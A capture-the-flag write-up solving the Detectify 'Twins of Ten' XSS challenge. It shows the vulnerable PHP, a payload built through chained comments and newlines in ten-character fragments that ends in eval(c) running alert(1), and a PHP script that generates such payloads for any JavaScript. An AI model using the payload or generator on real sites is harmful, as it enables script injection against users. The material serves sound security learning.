Detectify XSS challenge - Twins of Ten

Homepage:

http://labs.detectify.com/post/121614996211/xss-challenge-twins-of-ten

Description:

Recently I tried to solve Detectify XSS challenge - Twins of Ten.

Idea is simple. Put XSS inside:

<0123%ten_character_payload%><b x="x">hejsan</b></0123%the_same_ten_character_payload%>
<0123%another_ten_character_payload%><b x="x">hejsan</b></0123%another_the_same_ten_character_payload%>

Task also contain PHP code that genarate vulnerable code.

<?php
$q = urldecode($_SERVER['QUERY_STRING']);
$qs = explode('&', $q);
$qa = array();
$chars = 0;
foreach($qs as $q) {
	$q = explode('=', $q);
	array_shift($q);
	$s = implode('=', $q);
	if(strlen($s) > 10) continue;
	$chars += strlen($s);
	$qa[] = $s;
}
foreach($qa as $q) {
	echo "<0123$q><b x=\"x\">hejsan</b></0123$q>";
}

In order to solve this we will use few things:

Knowing that we can start creating an exploit, which will have 3 parts:

  1. payload_1 //
  2. %0A payload_2 /*
  3. */ payload_3 //

First is used to open <script> tag. When we pass &a=<script>// it will be displayed as:

<0123><b x="x">hejsan</b></0123><0123<script>//><b x="x">hejsan</b></0123<script>//>

So we have our <script> tag.

Then we need to create new line because everything after // is treated like comment. So we use second part: &a=%0Avar c;/*.

var c;/*><b x="x">hejsan</b></0123
var c;/*>

Right now we declare variable c (var c) and start multiline comment (/*).

It will be great if we could close comment and add more code. We use third part: &a=*/c='a';//.

><0123*/c='a';//><b x="x">hejsan</b></0123*/c='a';//>

Here we close comment (*/), set value of variable (c='a';) and start a new single line comment (//).

Sounds familiar? Yeah, we had this situation before (we need to create new line again).

As you can see, using this loop allows us to put 6 characters into JavaScript each time.

Now let’s create a string (for example alert(1);) and use eval() function to execute it.

For this:

var c; // We already have
c='a'; // those two
c+='l'
c+='e'
c+='r'
c+='t'
c+='('
c+='1'
c+=')'
c+=';'

we can use %2B which is encoded as + character:

&a=%0Ac%2B='l'/*&a=*/c%2B='e'//&a=%0Ac%2B='r'/*&a=*/c%2B='t'//&a=%0Ac%2B='('/*&a=*/c%2B='1'//&a=%0Ac%2B=')'/*&a=*/c%2B=';'//

It’s time to finish the exploit. In order to fit eval(c) into 6 characters limit we need to use:

eval/*sth
*/(c)//

For </script> we have 10 characters because we don’t need %0A anymore.

&a=%0Aeval/*&a=*/(c)//&a=</script>

Proof of Concept:

Finally:

?&a=<script>//&a=%0Avar c;/*&a=*/c='a';//&a=%0Ac%2B='l'/*&a=*/c%2B='e'//&a=%0Ac%2B='r'/*&a=*/c%2B='t'//&a=%0Ac%2B='('/*&a=*/c%2B='1'//&a=%0Ac%2B=')'/*&a=*/c%2B=';'//&a=%0Aeval/*&a=*/(c)//&a=</script>

which will be displayed as

<0123><b x="x">hejsan</b></0123><0123<script>//><b x="x">hejsan</b></0123<script>//><0123
var c;/*><b x="x">hejsan</b></0123
var c;/*><0123*/c='a';//><b x="x">hejsan</b></0123*/c='a';//><0123
c+='l'/*><b x="x">hejsan</b></0123
c+='l'/*><0123*/c+='e'//><b x="x">hejsan</b></0123*/c+='e'//><0123
c+='r'/*><b x="x">hejsan</b></0123
c+='r'/*><0123*/c+='t'//><b x="x">hejsan</b></0123*/c+='t'//><0123
c+='('/*><b x="x">hejsan</b></0123
c+='('/*><0123*/c+='1'//><b x="x">hejsan</b></0123*/c+='1'//><0123
c+=')'/*><b x="x">hejsan</b></0123
c+=')'/*><0123*/c+=';'//><b x="x">hejsan</b></0123*/c+=';'//><0123
eval/*><b x="x">hejsan</b></0123
eval/*><0123*/(c)//><b x="x">hejsan</b></0123*/(c)//><0123</script>><b x="x">hejsan</b></0123</script>>

If you want to generate your own payload use:

<?php

$payload = "document.write('<b>My payload is here</b>');";

$payload = str_replace("'", '"', $payload);

$out = "?&a=<script>//&a=%0Avar c;/*&a=*/c='";
$out .= $payload[0]."';//";

for ($i=1; $i<strlen($payload); ++$i) {
  if ($i % 2 == 1) $out .= "&a=%0Ac%2B='".$payload[$i]."'/*";
  else $out .= "&a=*/c%2B='".$payload[$i]."'//";
}

if (strlen($payload) % 2 == 0) {
  $out .= "&a=*/c%2B=''//";
}

$out .= "&a=%0Aeval/*&a=*/(c)//&a=</script>";
echo htmlentities($out);

Ps. For different solution click here.

Timeline: